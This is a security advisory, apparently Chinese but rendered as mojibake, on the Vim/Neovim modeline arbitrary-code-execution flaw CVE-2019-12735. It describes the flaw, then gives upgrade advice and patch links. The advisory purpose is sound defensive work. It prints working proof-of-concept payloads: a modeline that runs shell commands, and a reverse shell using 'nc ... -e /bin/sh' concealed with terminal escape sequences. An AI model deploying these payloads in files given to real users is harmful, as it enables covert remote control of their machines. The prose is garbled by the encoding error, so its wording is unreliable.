VimºÍNeovimËÁÒâ´úÂëÖ´Ðзì϶°²È«¹«¸æ
°ä²¼¹¦·ò 2019-06-06·ì϶±àºÅºÍ¼¶±ð
CVE±àºÅ£º£ºCVE-2019-12735£¬£¬Î£ÏÕ¼¶±ð£º£º¸ßΣ£¬£¬CVSS·ÖÖµ£º£º8.6
ÊÜÓ°ÏìµÄ°æ±¾
Neovim < 0.3.6
·ì϶¸ÅÊö
VimÊÇÒ»¿îÖ°ÄÜ׳´ó¡¢¡¢¡¢¸ß¶È¿É¶¨ÖƵÄÎı¾±à×ëÆ÷¡£¡£¡£ÓÉÓÚVimÔÚ´úÂ벹ȫ¡¢¡¢¡¢±àÒë¼°·½±ã±à³ÌµÈ·½Ã漫¶È׳´ó£¬£¬Òò¶øÔÚ·¨Ê½Ô±Öб»¿í·ºÊ¹Ó㬣¬³ÉΪÀàUnixϵͳÓû§×îϲ»¶µÄÎı¾±à×ëÆ÷Ö®Ò»¡£¡£¡£
Îı¾±à×ëÆ÷Vim/Neovim´æÔÚÑÏÖØ·ì϶£¬£¬Í¨¹ý´ò¿ª³ö¸ñ»ú¹ØµÄÎı¾Îļþ£¬£¬Ä£Ê»½ÐÑ¡Ïîδ±»½ûÓõϰ£¬£¬¾Í¿Éµ¼ÖÂVim/NeovimËÁÒâ´úÂëÖ´Ðзì϶¡£¡£¡£·ì϶³ÉÒòÊÇģʽÐÐÖнöÔÊÐíÑ¡Ïî×Ó¼¯£¬£¬ÈôÊÇÑ¡ÏîµÄÖµÔ̺¬Ò»¸ö±í°×ʽ£¬£¬¾ÍÄܹ»ÔÚɳÏäÖÐÔËÐС£¡£¡£:source! ºÅÁî¿ÉÈÆ¹ýɳÏ䣬£¬ËüÄܹ»´Ó¼È¶¨ÎļþÖжÁÈ¡²¢Ö´ÐкÅÁ£¬Òò¶øÄܹ»ÇáËɹ¹½¨ÔÚɳÏäÍâÔÊÐíÔËÐдúÂëµÄģʽÐС£¡£¡£
·ì϶ÑéÖ¤
POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md¡£¡£¡£
²âÊÔ°æ±¾ÈçÏ£º£º
1¡¢¡¢¡¢´´½¨poc.txt
:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2¡¢¡¢¡¢È·±£Î´½ûÓÃmodelineÑ¡Ïî(:set modeline)
ʹÓÃÈçϺÅÁî²é¿´ºÅÁîµØÎ»
ÈçÏ£º£º
3¡¢¡¢¡¢ÔÚvimÖдò¿ª¸Ãtxt
¶øºóϵͳ»áÖ´ÐÐ uname -a&&whoami
µÚ¶þÖÖ£¬£¬´´½¨·´µ¯shell
´ËÍ⣬£¬µ±Ê¹ÓÃcat´òÓ¡ÄÚÈÝʱ£¬£¬PoCʹÓÃÖÕ¶ËתÒåÐòÁÐÀ´°µ²ØºÅÁîÐС£¡£¡££¨¶øÊ¹ÓÃcat -vÄܹ»ÏÔʾÏÖʵÄÚÈÝ¡£¡£¡££©
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

ÐÞ¸´½¨Òé
Éý¼¶µ½Vim 8.1.1365¡¢¡¢¡¢Neovim 0.3.6»òÒÔÉϰ汾£¬£¬´ËÍ⽨Òé½ûÓÃģʽÐУ¬£¬Ê¹ÓÃsecuremodelines²å¼þ¡£¡£¡£
https://github.com/vim/vim/commit/5357552
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
²Î¿¼Á´½Ó


¾©¹«Íø°²±¸11010802024551ºÅ